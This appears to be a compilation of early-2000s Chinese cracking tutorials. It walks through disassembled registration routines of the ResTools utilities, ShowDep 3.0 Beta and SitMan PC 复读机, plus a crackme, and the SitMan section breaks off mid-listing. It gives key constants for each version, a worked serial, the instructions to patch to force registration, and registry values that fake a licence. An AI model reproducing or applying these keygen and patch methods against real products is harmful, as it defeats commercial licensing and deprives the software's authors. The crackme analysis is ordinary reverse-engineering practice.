0187:004BB7E4 MOV BYTE [EBP-05],01 <---指针
0187:004BB7E8 MOVZX EDI,BYTE [EBP-05]
0187:004BB7EC MOV EAX,[EBP-04] <---指向Code1
0187:004BB7EF MOV BL,[EAX+EDI-01] <---第一位
0187:004BB7F3 CMP BL,7E
0187:004BB7F6 JNA 004BB852 <---如果是可见字符就跳
0187:004BB7F8 MOV EAX,EBX
0187:004BB7FA CALL 004BB780 <---如果是大于7E(~)的字符就...请看Call 1

--Call 1------------------------------------------
0187:004BB780 XOR EDX,EDX
0187:004BB782 INC EDX <---计数
0187:004BB783 AND EAX,FF
0187:004BB788 SHR EAX,1 <---将它变为小于7E的数
0187:004BB78A CMP AL,7F
0187:004BB78C JNC 004BB782
0187:004BB78E MOV EAX,EDX
0187:004BB790 RET
-------------------------------------------------

0187:004BB7FF CMP AL,02
0187:004BB801 JNZ 004BB809
0187:004BB803 MOV BYTE [EBP-07],03
0187:004BB807 JMP SHORT 004BB80C
0187:004BB809 MOV [EBP-07],AL
0187:004BB80C MOV DL,[EBP-07]
0187:004BB80F AND DL,BL <---计数器和Code1第一位AND
0187:004BB811 SHL EDX,04
0187:004BB814 MOV CL,43
0187:004BB816 SUB CL,AL
0187:004BB818 OR DL,CL
0187:004BB81A MOV [EBP-06],DL <---DL即是假注册码的偶数位
0187:004BB81D MOV ECX,EAX
0187:004BB81F XOR EAX,EAX
0187:004BB821 MOV AL,BL
0187:004BB823 SHR EAX,CL
0187:004BB825 MOV EBX,EAX <---BL即是假注册码的奇数位
0187:004BB827 LEA EAX,[EBP-0C]
0187:004BB82A MOV EDX,EBX
0187:004BB82C CALL 00403E34
0187:004BB831 MOV EDX,[EBP-0C]
0187:004BB834 MOV EAX,ESI
0187:004BB836 CALL 00403F14
0187:004BB83B LEA EAX,[EBP-10]
0187:004BB83E MOV DL,[EBP-06]
0187:004BB841 CALL 00403E34
0187:004BB846 MOV EDX,[EBP-10]
0187:004BB849 MOV EAX,ESI
0187:004BB84B CALL 00403F14 <---不用管这些Call
0187:004BB850 JMP SHORT 004BB8C4 <---跳到最后再循环
0187:004BB852 CMP BL,21 <---如果数据是小于7E的就跳到这里
0187:004BB855 JNC 004BB89F <---如果大于21的话就跳到后面保存注册码了
0187:004BB857 TEST BL,BL
0187:004BB859 JNZ 004BB863
0187:004BB85B MOV BL,3F
0187:004BB85D MOV BYTE [EBP-06],3F
0187:004BB861 JMP SHORT 004BB874
0187:004BB863 MOV EAX,EBX
0187:004BB865 CALL 004BB794 <---如果数据小于21就会到这

--Call 2------------------------------------------
0187:004BB794 XOR EDX,EDX
0187:004BB796 INC EDX <---计数
0187:004BB797 ADD EAX,EAX <---将它变为大于20的数
0187:004BB799 CMP AL,20
0187:004BB79B JNA 004BB796
0187:004BB79D MOV EAX,EDX
0187:004BB79F RET
--------------------------------------------------

0187:004BB86A LEA EDX,[EAX+43] <---计数器加上43
0187:004BB86D MOV [EBP-06],DL <---假注册码的偶数位
0187:004BB870 MOV ECX,EAX
0187:004BB872 SHL BL,CL <---假注册码的奇数位
0187:004BB874 LEA EAX,[EBP-14]
0187:004BB877 MOV EDX,EBX
0187:004BB879 CALL 00403E34
0187:004BB87E MOV EDX,[EBP-14]
0187:004BB881 MOV EAX,ESI
0187:004BB883 CALL 00403F14
0187:004BB888 LEA EAX,[EBP-18]
0187:004BB88B MOV DL,[EBP-06]
0187:004BB88E CALL 00403E34
0187:004BB893 MOV EDX,[EBP-18]
0187:004BB896 MOV EAX,ESI
0187:004BB898 CALL 00403F14
0187:004BB89D JMP SHORT 004BB8C4 <---保存注册码后跳到后面再循环

如果Code1的数据是小于7E而且大于21,也就是可见的字符串的话就会跳到这里来,这时BL就是假注册码的奇数位了,看看下面的Call都是保存注册码的,那这时假注册码的偶数位在哪呢?请看4BB8BA处
0187:004BB89F LEA EAX,[EBP-1C]
0187:004BB8A2 MOV EDX,[EBP-04]
0187:004BB8A5 MOV DL,[EDX+EDI-01]
0187:004BB8A9 CALL 00403E34
0187:004BB8AE MOV EDX,[EBP-1C]
0187:004BB8B1 MOV EAX,ESI
0187:004BB8B3 CALL 00403F14
0187:004BB8B8 MOV EAX,ESI
0187:004BB8BA MOV EDX,004BB90C <---试试D 4BB90C,是否看到字符"C",偶数位就是它了,不用怀疑,因为这个"C"是在程序的数据段里的,而且整个系列的都是如此
0187:004BB8BF CALL 00403F14
0187:004BB8C4 INC BYTE [EBP-05]
0187:004BB8C7 DEC BYTE [EBP-08]
0187:004BB8CA JNZ NEAR 004BB7E8
0187:004BB8D0 XOR EAX,EAX
0187:004BB8D2 POP EDX
0187:004BB8D3 POP ECX
0187:004BB8D4 POP ECX
0187:004BB8D5 MOV [FS:EAX],EDX
0187:004BB8D8 PUSH DWORD 004BB8FA
0187:004BB8DD LEA EAX,[EBP-1C]
0187:004BB8E0 MOV EDX,05
0187:004BB8E5 CALL 00403CB0
0187:004BB8EA LEA EAX,[EBP-04]
0187:004BB8ED CALL 00403C8C
0187:004BB8F2 RET

OK~~~~~~~~我们的任务算是完成了,至于Y逆算法我就不贴出来了,有兴趣的就自己看看,在4BB63F处开始,因为要写注册机根本就不用两个逆算法.我们现在来讨论一下其它几个程序的不同.

其实FreeRes0.94、HexEdit0.20、GetVBRes0.51的算法都是一样的,HexEdit0.20甚至连机器码都相同,不同在哪里呢?其实区别就是算法X中的3个重要数据

FreeRes0.94中的是(16进制): 3D6、3183、8C34
HexEdit0.20中的是(16进制): 3D7、3184、8C35
GetVBRes0.51中的是(16进制): 3D8、3185、8C36

另外GetVBRes0.51的Name+HardCode的补位有了变化,而FreeRes0.94、HexEdit0.20的注册名不能大于10位,这个我还不能完全肯定.

下面是GetVBRes0.51的补位
============================================
GetVBRes0.51应该没有注册名位数限制,40位也没问题,但最后也是只取20位.如果Name+HardCode的长度小于等于18位或等于19、20位的话,补位和FreeRes一样,如果大于20位的话就要....

0187:0049AA63 CMP ESI,BYTE +12 <----esi是Name+HardCode的长度
0187:0049AA66 JNG 0049AAD4
0187:0049AA68 MOV EAX,[EBP-04]
0187:0049AA6B MOV BL,[EAX+12] <----取出Name+HardCode的第18位
0187:0049AA6E MOV EAX,ESI
0187:0049AA70 SUB AL,14 <----算出多出多少位
0187:0049AA72 JC 0049AAA5
0187:0049AA74 INC EAX
0187:0049AA75 MOV [EBP-15],AL <---加1作为计数器
0187:0049AA78 MOV AL,14
0187:0049AA7A XOR EDX,EDX
0187:0049AA7C MOV DL,AL
0187:0049AA7E MOV ECX,[EBP-04]
0187:0049AA81 MOV DL,[ECX+EDX-01] <---取出第20位
0187:0049AA85 CMP BL,DL
0187:0049AA87 JNA 0049AA94
0187:0049AA89 XOR ECX,ECX
0187:0049AA8B MOV CL,AL
0187:0049AA8D MOV EDI,[EBP-04]
0187:0049AA90 SUB BL,DL
0187:0049AA92 JMP SHORT 0049AA9F
0187:0049AA94 XOR ECX,ECX
0187:0049AA96 MOV CL,AL
0187:0049AA98 MOV EDI,[EBP-04]
0187:0049AA9B SUB DL,BL
0187:0049AA9D MOV EBX,EDX <---用大数减去小数保存在ebx
0187:0049AA9F INC EAX
0187:0049AAA0 DEC BYTE [EBP-15]
0187:0049AAA3 JNZ 0049AA7A <---当循环完后BL就是Code1的第一位了,然后再取
Name+HardCode的前18位补上

GetVBRes0.51注册后是否有些人看不到自己的注册名,ResTools系列的注册信息保存在
HKEY_LOCAL_MACHINE\SOFTWARE\RESTOOLS下,只要你注册ResFree后就可在GetVBRes看到ResFree的注册名了,注意在GetVBRes中用任意名注册都只会显示HKEY_LOCAL_MACHINE\SOFTWARE\RESTOOLS\freeRes下reguser里的字串,注册不了的可以自己建立一个.

再讲讲ResScope1.35、FreeRes0.60
两个注册算法一样,只用A、B两步,注册名不能大于18位,补位规则同上一样,要注意的是,调试的时候,填好注册名和注册码后按确定,程序并不会比较注册码,只是简单的将名和码写到注册表中,当你再次点击帮助菜单时,程序才会进行运算比较.它们的重要数据:
ResScope1.35中的是(16进制): 3D5、3182、8C33
FreeRes0.60中的是(16进制): 3D6、3183、8C34
-=End=-

_/_/_/
_/ _/_/_/ _/_/_/ _/_/
_/_/ _/ _/ _/ _/ _/
_/ _/ _/ _/ _/ _/
_/_/_/ _/_/_/ _/ _/ _/

Sam.com
6:04 2002-3-3


rOYALaCCEZZ Trial Crackme 3.2

 标 题:rOYALaCCEZZ Trial Crackme 3.2 算法分析 (10千字)
发信人:DiKeN
时 间:2002-2-27 21:28:28
详细信息:
:00401093 FF7508 push [ebp+08]

* Reference To: USER32.GetDlgItemTextA, Ord:0102h
|
:00401096 E8A1020000 Call 0040133C========>获取Code
:0040109B 8BD8 mov ebx, eax
:0040109D 6A40 push 00000040
:0040109F 6844304000 push 00403044
:004010A4 68E8030000 push 000003E8
:004010A9 FF7508 push [ebp+08]

* Reference To: USER32.GetDlgItemTextA, Ord:0102h
|
:004010AC E88B020000 Call 0040133C=======>获取Name
:004010B1 83F805 cmp eax, 00000005
:004010B4 7228 jb 004010DE=======>出错了!
:004010B6 83F820 cmp eax, 00000020
:004010B9 7723 ja 004010DE
:004010BB 0BDB or ebx, ebx
:004010BD 741F je 004010DE
:004010BF 53 push ebx
:004010C0 50 push eax
:004010C1 E87B000000 call 00401141========>计算,注册码就在此
:004010C6 83F801 cmp eax, 00000001
:004010C9 7513 jne 004010DE=======>出错了!
....................
===================================================================
:00401141 55 push ebp
:00401142 8BEC mov ebp, esp
:00401144 8B4508 mov eax, dword ptr [ebp+08]
:00401147 C705C430400000000000 mov dword ptr [004030C4], 00000000
:00401151 BB01000000 mov ebx, 00000001
:00401156 EB1D jmp 00401175

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401177(C)
|
[403044]====>UName

:00401158 48 dec eax
:00401159 0FB69044304000 movzx edx, byte ptr [eax+00403044]
:00401160 33D3 xor edx, ebx
:00401162 0FAFD3 imul edx, ebx
:00401165 83C305 add ebx, 00000005
:00401168 3115C4304000 xor dword ptr [004030C4], edx
:0040116E C105C430400005 rol dword ptr [004030C4], 05
Pre:=0;
ebx:=1;
for index:=LenName

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401156(U)
|
:00401175 0BC0 or eax, eax
:00401177 75DF jne 00401158
:00401179 F715C4304000 not dword ptr [004030C4]
===========>>>>注册用户名>>>>>[004030C4] - 45a16b5f _k.E
:0040117F 33C9 xor ecx, ecx
:00401181 8B4D08 mov ecx, dword ptr [ebp+08]===>ULen
:00401184 D30DC4304000 ror dword ptr [004030C4], cl

===========>>>>注册用户名>>>>>[004030C4] - fa2d0b5a Z.-.

:0040118A 33C0 xor eax, eax
:0040118C C605C830400000 mov byte ptr [004030C8], 00
:00401193 EB17 jmp 004011AC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011AF(C)
|
[00403084]====>UCode
:00401195 0FB69084304000 movzx edx, byte ptr [eax+00403084]
:0040119C 40 inc eax
:0040119D 83FA2D cmp edx, 0000002D'-'号吗?
:004011A0 750A jne 004011AC
:004011A2 FEC8 dec al
:004011A4 A2C8304000 mov byte ptr [004030C8], al
:004011A9 8B450C mov eax, dword ptr [ebp+0C]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401193(U), :004011A0(C)
|
:004011AC 3B450C cmp eax, dword ptr [ebp+0C]
:004011AF 75E4 jne 00401195
:004011B1 803DC830400000 cmp byte ptr [004030C8], 00
:004011B8 7506 jne 004011C0====>必须存在'-',否则出错
:004011BA 33C0 xor eax, eax====>且不能在第一个
:004011BC C9 leave
:004011BD C20800 ret 0008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011B8(C)
|
:004011C0 33C9 xor ecx, ecx
:004011C2 8A0DC8304000 mov cl, byte ptr [004030C8]===>-的索引,0
:004011C8 33C0 xor eax, eax
:004011CA 33DB xor ebx, ebx
:004011CC EB14 jmp 004011E2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011E4(C)
|
:004011CE FEC9 dec cl
:004011D0 0FB69184304000 movzx edx, byte ptr [ecx+00403084]
:004011D7 83FA3F cmp edx, 0000003F
:004011DA 760E jbe 004011EA
:004011DC 83FA5B cmp edx, 0000005B
:004011DF 7309 jnb 004011EA
:004011E1 90 nop
=================-前的字符,必须($3F,$5B)[40-5A]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011CC(U)
|
:004011E2 0AC9 or cl, cl
:004011E4 75E8 jne 004011CE
:004011E6 90 nop
:004011E7 90 nop
:004011E8 EB06 jmp 004011F0

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004011DA(C), :004011DF(C)
|
:004011EA 33C0 xor eax, eax
:004011EC C9 leave
:004011ED C20800 ret 0008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011E8(U)
|
:004011F0 33C9 xor ecx, ecx
:004011F2 8A0DC8304000 mov cl, byte ptr [004030C8]
:004011F8 33C0 xor eax, eax
:004011FA 33DB xor ebx, ebx
:004011FC EB11 jmp 0040120F

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401211(C)
|
:004011FE FEC9 dec cl
:00401200 6BDB1A imul ebx, 0000001A
:00401203 0FB69184304000 movzx edx, byte ptr [ecx+00403084]
:0040120A 83EA41 sub edx, 00000041
:0040120D 03DA add ebx, edx
===========================计算-好前的注册码
fa2d0b5a
mmebx=0;
for index:=Aindex downto 1 do
begin
mmebx:=mmebx*26;
mmebx:=mmebx+(ord(strCode[index])-$41)
//40-5A==>-1,0..25
end;
......
==============//因此，你运算可以使用Mod,DIV运算就可以完成前半部分
01234567890123456789012345
ABCDEFGHIJKLMNOPQRSTUVWXYZ
fa2d0b5a mod 26=2=C
16=Q
2=C
16H=22=W
6=G
F=15=P
D=13=N
CQCWGPN

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004011FC(U)
|
:0040120F 0AC9 or cl, cl
:00401211 75EB jne 004011FE
:00401213 3B1DC4304000 cmp ebx, dword ptr [004030C4]===>必须相等
:00401219 7406 je 00401221
:0040121B 33C0 xor eax, eax
:0040121D C9 leave
:0040121E C20800 ret 0008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401219(C)
|
:00401221 8B450C mov eax, dword ptr [ebp+0C]==>CLen
:00401224 2A05C8304000 sub al, byte ptr [004030C8]==>SIndex
:0040122A 83F804 cmp eax, 00000004=====>So,Len=3
:0040122D 7406 je 00401235
:0040122F 33C0 xor eax, eax
:00401231 C9 leave
:00401232 C20800 ret 0008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040122D(C)
|
:00401235 33DB xor ebx, ebx
:00401237 8A1DC8304000 mov bl, byte ptr [004030C8]
:0040123D FEC3 inc bl
:0040123F 0FB69384304000 movzx edx, byte ptr [ebx+00403084]
:00401246 8815C9304000 mov byte ptr [004030C9], dl====>C1
:0040124C FEC3 inc bl
:0040124E 0FB69384304000 movzx edx, byte ptr [ebx+00403084]
:00401255 8815CA304000 mov byte ptr [004030CA], dl====>C2
:0040125B FEC3 inc bl
:0040125D 0FB69384304000 movzx edx, byte ptr [ebx+00403084]
:00401264 8815CB304000 mov byte ptr [004030CB], dl====>C3
:0040126A 33C0 xor eax, eax
:0040126C A0C9304000 mov al, byte ptr [004030C9]
:00401271 6BC003 imul eax, 00000003
:00401274 A3CC304000 mov dword ptr [004030CC], eax===>C1*3
:00401279 33C0 xor eax, eax
:0040127B 8A1DC9304000 mov bl, byte ptr [004030C9]
:00401281 6BDB07 imul ebx, 00000007 ==>0-(C1*7)
:00401284 2BC3 sub eax, ebx
:00401286 A3D0304000 mov dword ptr [004030D0], eax==>-C1*7
:0040128B 33C0 xor eax, eax
:0040128D A0C9304000 mov al, byte ptr [004030C9]
:00401292 A3D4304000 mov dword ptr [004030D4], eax===>C1
:00401297 33C0 xor eax, eax
:00401299 A0CA304000 mov al, byte ptr [004030CA]
:0040129E 2905CC304000 sub dword ptr [004030CC], eax===>Here==>C1*3-C2
:004012A4 33C0 xor eax, eax
:004012A6 A0CA304000 mov al, byte ptr [004030CA]
:004012AB 6BC002 imul eax, 00000002
:004012AE 0105D0304000 add dword ptr [004030D0], eax==>(-C1*7)+(C2*2)
:004012B4 33C0 xor eax, eax
:004012B6 A0CA304000 mov al, byte ptr [004030CA]
:004012BB 0105D4304000 add dword ptr [004030D4], eax==>C1+C2
:004012C1 33C0 xor eax, eax
:004012C3 A0CB304000 mov al, byte ptr [004030CB]
:004012C8 6BC005 imul eax, 00000005
:004012CB 0105CC304000 add dword ptr [004030CC], eax===>Here==>(C1*3-C2)+C3*5
:004012D1 33C0 xor eax, eax
:004012D3 A0CB304000 mov al, byte ptr [004030CB]
:004012D8 6BC007 imul eax, 00000007
:004012DB 0105D0304000 add dword ptr [004030D0], eax===>((-C1*7)+(C2*2))+C3*7=19
:004012E1 33C0 xor eax, eax
:004012E3 A0CB304000 mov al, byte ptr [004030CB]
:004012E8 6BC002 imul eax, 00000002
:004012EB 2905D4304000 sub dword ptr [004030D4], eax===>C1+C2-C3*2=D
:004012F1 813DCC30400004020000 cmp dword ptr [004030CC], 00000204===>Must=204=(C1*3-C2)+C3*5
:004012FB 7406 je 00401303
:004012FD 33C0 xor eax, eax
:004012FF C9 leave
:00401300 C20800 ret 0008

-23C
======================//
so,we
204=(C1*3-C2)+C3*5
C1+C2-C3*2=D
((-C1*7)+(C2*2))+C3*7=19

3*C1 -C2+5C3=516
C1+ C2-2C3=13
-7C1+2*C2+7C3=25
解方程得到
C1=82=52=R
C2=65=41=A
C3=67=43=C
=========
DiKeN
CQCWGPN-RAC


ShowDep(3.0 Beta)

 标 题:看看吧！ (7千字)
发信人:软档[hg]
时 间:2001-10-20 11:44:39
详细信息:
关于破解ShowDep
——hg 首记
哎！已经没有什么软件破解了！（不要误解哟，我可不是什么高手，只是我机子上没有什么可以破解的软件了，且我这破机子也没有连上网，网吧老板又不让我用软盘。哎！......）
于是，随手拿出以前买的光盘。嘿，上边的好东西还真不少呢！我一下便看上了ShowDep(3.0 Beta)。先试试再说吧。
好了，废话少说，开始吧！

1. 运行ShowDep
2. 用鼠标单击ShowDep菜单->“Help”, 然后再单击“About”
3. 待弹出对话框后请再单击“Register”按钮
name：hg
number:78787878
4. ctrl+D, 激活softIce
5. bpx hmemcpy
6. 按F5
7. 用鼠标单击“OK”按钮，这时程序被拦
8. BD *，按F12, 直到进入ShowDep的领空(好像是按26下吧）
9. 当走到 0137:00417290 call 004170B1 时按F8进入（跳过则死了！！）
.
.
.
0137:00417163 PUSH EAX
0137:00417164 LEA ECX,[EBP-0108]
0137:0041716A PUSH ECX
0137:0041716B CALL 00416A80 ；改变number格式（78787878-->0x78787878）只取末8位。
0137:00417170 ADD ESP,08
0137:00417173 TEST EAX,EAX
0137:00417175 JZ 00417194
0137:00417177 MOV EDX,[EBP-0110]
0137:0041717D ADD EDX,00000104
0137:00417183 PUSH EDX
0137:00417184 MOV EAX,[EBP-04]
0137:00417187 PUSH EAX
0137:00417188 CALL 00416B60 ；比较核心
0137:0041718D ADD ESP,08
0137:00417190 TEST EAX,EAX
0137:00417192 JNZ 004171B0 ；Eax=1则跳转，注册成功，否则...
0137:00417194 PUSH 10
0137:00417196 PUSH 0042B958
0137:0041719B PUSH 0042B960
0137:004171A0 PUSH 00
0137:004171A2 CALL [USER32!MessageBoxA] ；失败窗
0137:004171A8 OR EAX,-01
0137:004171AB JMP 00417242
.
.
.
10.让我们进入比较核心那个CALL去看看：
.
.
.
0137:00416B60 PUSH EBP
0137:00416B61 MOV EBP,ESP
0137:00416B63 SUB ESP,0C
0137:00416B66 MOV DWORD PTR [EBP-0C],12345678 ；设为t1
0137:00416B6D MOV DWORD PTR [EBP-08],23456789 ；设为t2
0137:00416B74 MOV DWORD PTR [EBP-04],34567890 ；设为t3
0137:00416B7B LEA EAX,[EBP-0C]
0137:00416B7E PUSH EAX
0137:00416B7F MOV ECX,[EBP+08]
0137:00416B82 PUSH ECX
0137:00416B83 CALL [KERNEL32!lstrlen]
0137:00416B89 PUSH EAX
0137:00416B8A MOV EDX,[EBP+08]
0137:00416B8D PUSH EDX
0137:00416B8E CALL 00418C70 ；对name进行运算
0137:00416B93 ADD ESP,0C
0137:00416B96 LEA EAX,[EBP-0C]
0137:00416B99 PUSH EAX
0137:00416B9A PUSH 0C
0137:00416B9C MOV ECX,[EBP+0C]
0137:00416B9F PUSH ECX
0137:00416BA0 CALL 00418C70 ；对number进行运算
0137:00416BA5 ADD ESP,0C
0137:00416BA8 MOV EDX,[EBP+0C]
0137:00416BAB MOV EAX,[EBP-04] ；EAX=t3'
0137:00416BAE CMP EAX,[EDX+0C] ；比较点
0137:00416BB1 JNZ 00416BBA
0137:00416BB3 MOV EAX,00000001 ；EAX与[EDX+0C]相等，则置EAX为1
0137:00416BB8 JMP 00416BBC
0137:00416BBA XOR EAX,EAX ；不相等，则置EAX为0
0137:00416BBC MOV ESP,EBP
0137:00416BBE POP EBP
0137:00416BBF RET
.
要想简单的破解成为注册版，修改上面两处的任一处均可。
但当我看到name和number运算的都是同一个Call，而且对number运算的初值还是对name运算的结果。这样的注册机我还没有写过呢！而且和我前次破的Crackme2的算法相似（name和number分别运算后比较）。Crackme2我都写了注册机，这个怎能放过？还是进去看看吧！
11.随便选了个Call进去看看他的运算过程吧
.
.
.
0137:00418CB7 MOV EAX,[EDI] ；t1
0137:00418CB9 MOV [EBP-10],EAX
0137:00418CBC MOV ECX,[EDI+04] ；t2
0137:00418CBF MOV [EBP-0C],ECX
0137:00418CC2 MOV EDX,[EDI+08] ；t3
0137:00418CC5 MOV [EBP-08],EDX
0137:00418CC8 PUSHAD
0137:00418CC9 CLD
0137:00418CCA MOV ECX,[EBP+0C]
0137:00418CCD LEA EDI,[EBP-0010]
0137:00418CD3 MOV ESI,[EBP+08]
0137:00418CD6 LODSB
0137:00418CD7 CALL 00418F10 ；进去看吧
0137:00418CDC LOOP 00418CD6
0137:00418CDE POPAD
0137:00418CDF MOV EAX,[EBP+10]
0137:00418CE2 MOV ECX,[EBP-10]
0137:00418CE5 MOV EDX,[EBP-0C]
0137:00418CE8 MOV [EAX],ECX
0137:00418CEA MOV ECX,[EBP-08]
0137:00418CED MOV [EAX+04],EDX
0137:00418CF0 MOV [EAX+08],ECX
0137:00418CF3 MOV EAX,[EBP-04]
0137:00418CF6 POP EDI
0137:00418CF7 POP ESI
0137:00418CF8 POP EBX
0137:00418CF9 MOV ESP,EBP
0137:00418CFB POP EBP
.
.
12.进入00418CD7 CALL 00418F10
.
.
.
0137:00418F10 MOV EBX,[EDI] ；[EDI]=t1
0137:00418F12 CALL 00418EE0
0137:00418F17 MOV [EDI],EAX
0137:00418F19 AND EAX,000000FF
0137:00418F1E ADD EAX,[EDI+04] ；[EDI+04]=t2
0137:00418F21 MOV [EDI+04],EAX
0137:00418F24 MOV EDX,08088405
0137:00418F29 MUL EDX
0137:00418F2B INC EAX
0137:00418F2C MOV [EDI+04],EAX
0137:00418F2F SHR EAX,18
0137:00418F32 MOV EBX,[EDI+08] ；[EDI+08]=t3
0137:00418F35 CALL 00418EE0
0137:00418F3A MOV [EDI+08],EAX
0137:00418F3D RET
.
进入CALL 00418EE0

0137:00418EE0 MOV EDX,EBX
0137:00418EE2 SHR EDX,08
0137:00418EE5 XOR BL,AL
0137:00418EE7 AND EBX,000000FF
0137:00418EED MOV EAX,[EBX*4+0042C818] ；先得抓出这部分的数据，天啦！好多哟。
0137:00418EF4 XOR EAX,EDX
0137:00418EF6 RET

至此，程序已全部在此，算法也一目了然。
但是，这有一个问题。那就是运算过程中舍去了一些值，且最后的t1，t2，t3三个值，只有t3拿出来比较(比较点处EAX值就是t3)。但我看到与t3比较的[EDX+0C]始终为0（其实我在这犯了个错误），好吧，那我就用穷举法算几个结果来分析看看吧。
先得处理抓出的数据。（只有编程处理啦，什么？可不可以手工处理。#@$%^&~~~晕！只有交给你来哟）
.
.
.
.
.
.
哎，终于编完了。
跑一跑，看看怎么样？天呀！怎么这么慢呀。（没办法啦，要处理256*256*256*256*8次啦,其中还有32位的乘法运算，查表运算........）
......ZZZzzz......zzzZZZ......
几个小时之后，终于完了。什么？没有结果......（对不起了，编程有个小错误，晕~~~~~~~~~~~倒）
妈的，我改，改了再跑。
......zzzZZZ......zzzZZZ......
又是几个小时。什么？还是没有结果。（晕~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)

再次分析了一下程序和数据，终于发现t3无论怎么样也不可能为0。但与t3比较的[EDX+0C]怎么会为0呢？于是我监视了[EDX+0C]所在的内存区域，发现这个区域只有在程序开始时才从注册表中读入数据。但是在没有注册成功前注册表中并不能提供任何可用数据，且在注册成功后这些数据才会添加进注册表中。
于是，我得出结论：该软件不能被正常注册，除非Crack或直接改写（添加）注册表信息！（有没有搞错！居然有这种事情）
于是，我试着在比较点处改写[EDX+0C]为EAX中的值，注册成功。重启ShowDep，已是注册版，Register to: hg
再看注册表中的值，新添了"RegName","RegNumber"。
如下：
[HKEY_CURRENT_USER\Software\Sergey Sorokin\ShowDep\2.00]
"RegName"="hg"
"RegNumber"=hex:78,78,78,78,00,00,00,00,00,00,00,00,3e,f2,2d,6a

RegNumber中存放的就是输入的数字（变型后的，超过八位只取最后八位），t3的值，还为t1，t2预留了空间呢。

初次写文章，如有不足之处，见谅！
如有错误或任何意见，请E-mail到hghanguang@163.com


SitMan PC 复读机 2.0 beta 2

 标 题:重新贴过注册算法分析 (16千字)
发信人:eCool[BCG]
时 间:2001-10-23 13:57:51
详细信息:
SitMan PC 复读机 2.0 beta 2 注册算法分析
【软件功能】：
◇ 复读功能
◇ 录音跟读对比功能
◇ 听写文本与语音的完美结合
◇ 听力资料管理
◇ 列表播放支持
◇ 其他特色功能
【软件主页】：http://www.yyhorse.com/
【功能限制】：试用15天，15天后要求注册
【破解工具】：DeDe，Trw2000，Caspr，Language2000
【本文作者】：eCool[BCG]
【整理时间】：2001.10.23
转载请保持原文完整，谢谢。

把这个东东拉下来后，立马用Language2000看看有没有加壳，呵呵，原来加了Aspack，好办，马上用
Caspr搞定它，运行Trw2000，然后运行SitMan，靠，怎么没有发现注册的地方？？？？？，我倒，先不管它，
关闭，将时间调后一年，再次运行,讨厌的对话框出来了，不理他，点确定，要求注册，我靠，还是没有注册
的地方，What？作者骗人？？？？？，用Language2000看看是什么语言写的再说，呵呵，Delphi啊，DeDe
（弟弟？）马上用上，防编译，看看那个注册Form有什么东东，哈哈，发现有注册按钮，玩我，哼，看我怎么
收拾你，看到那个“未注册”Label有个双击事件，好，马上运行SitMan，双击未注册这个地方，呵呵，注册
提示出来了，有戏看了，马上用DeDe找到了注册点：

0048B740 55 push ebp
0048B741 8BEC mov ebp, esp
0048B743 B905000000 mov ecx, $00000005
0048B748 6A00 push $00
0048B74A 6A00 push $00
0048B74C 49 dec ecx
0048B74D 75F9 jnz 0048B748
0048B74F 53 push ebx
0048B750 56 push esi
0048B751 8BD8 mov ebx, eax
0048B753 33C0 xor eax, eax
0048B755 55 push ebp
0048B756 6894B94800 push $0048B994
0048B75B 64FF30 push dword ptr fs:[eax]
0048B75E 648920 mov fs:[eax], esp
0048B761 8D55FC lea edx, [ebp-$04]
0048B764 8B83F4020000 mov eax, [ebx+$02F4]
0048B76A E831B3FAFF call 00436AA0
0048B76F 837DFC00 cmp dword ptr [ebp-$04], +$00
0048B773 0F84D3010000 jz 0048B94C
0048B779 8D55F8 lea edx, [ebp-$08]
0048B77C 8B83F8020000 mov eax, [ebx+$02F8]
0048B782 E819B3FAFF call 00436AA0
0048B787 837DF800 cmp dword ptr [ebp-$08], +$00
0048B78B 0F84BB010000 jz 0048B94C
0048B791 33D2 xor edx, edx
0048B793 8B8338030000 mov eax, [ebx+$0338]
0048B799 8B08 mov ecx, [eax]
0048B79B FF515C call dword ptr [ecx+$5C]
0048B79E 8B15A0D24900 mov edx, [$49D2A0]
0048B7A4 8B12 mov edx, [edx]
0048B7A6 8B833C030000 mov eax, [ebx+$033C]
0048B7AC E81FB3FAFF call 00436AD0
0048B7B1 BE03000000 mov esi, $00000003
0048B7B6 B201 mov dl, $01
0048B7B8 8B833C030000 mov eax, [ebx+$033C]
0048B7BE E8F5B1FAFF call 004369B8
0048B7C3 66B8BC02 mov ax, $02BC
0048B7C7 E8B8350000 call 0048ED84
0048B7CC 33D2 xor edx, edx
0048B7CE 8B833C030000 mov eax, [ebx+$033C]
0048B7D4 E8DFB1FAFF call 004369B8
0048B7D9 66B82C01 mov ax, $012C
0048B7DD E8A2350000 call 0048ED84
0048B7E2 4E dec esi
0048B7E3 75D1 jnz 0048B7B6
0048B7E5 8D55F4 lea edx, [ebp-$0C]
0048B7E8 8B83F8020000 mov eax, [ebx+$02F8]
0048B7EE E8ADB2FAFF call 00436AA0
0048B7F3 8B45F4 mov eax, [ebp-$0C]
0048B7F6 50 push eax
0048B7F7 8D55F0 lea edx, [ebp-$10]
0048B7FA 8B83F4020000 mov eax, [ebx+$02F4]
0048B800 E89BB2FAFF call 00436AA0
0048B805 8B45F0 mov eax, [ebp-$10]
0048B808 5A pop edx
0048B809 E86AFDFFFF call 0048B578--------->进入
0048B80E 84C0 test al, al----------->Woo.... 经典的对比
0048B810 0F84FF000000 jz 0048B915
0048B816 E8051DF8FF call 0040D520
0048B81B A1A8D44900 mov eax, dword ptr [$49D4A8]
0048B820 8B00 mov eax, [eax]
0048B822 E8BDB2FCFF call 00456AE4
0048B827 8D55E8 lea edx, [ebp-$18]
0048B82A 8B83F4020000 mov eax, [ebx+$02F4]
0048B830 E86BB2FAFF call 00436AA0
0048B835 8B45E8 mov eax, [ebp-$18]
0048B838 8D55EC lea edx, [ebp-$14]
0048B83B E8F8E0F7FF call 00409938
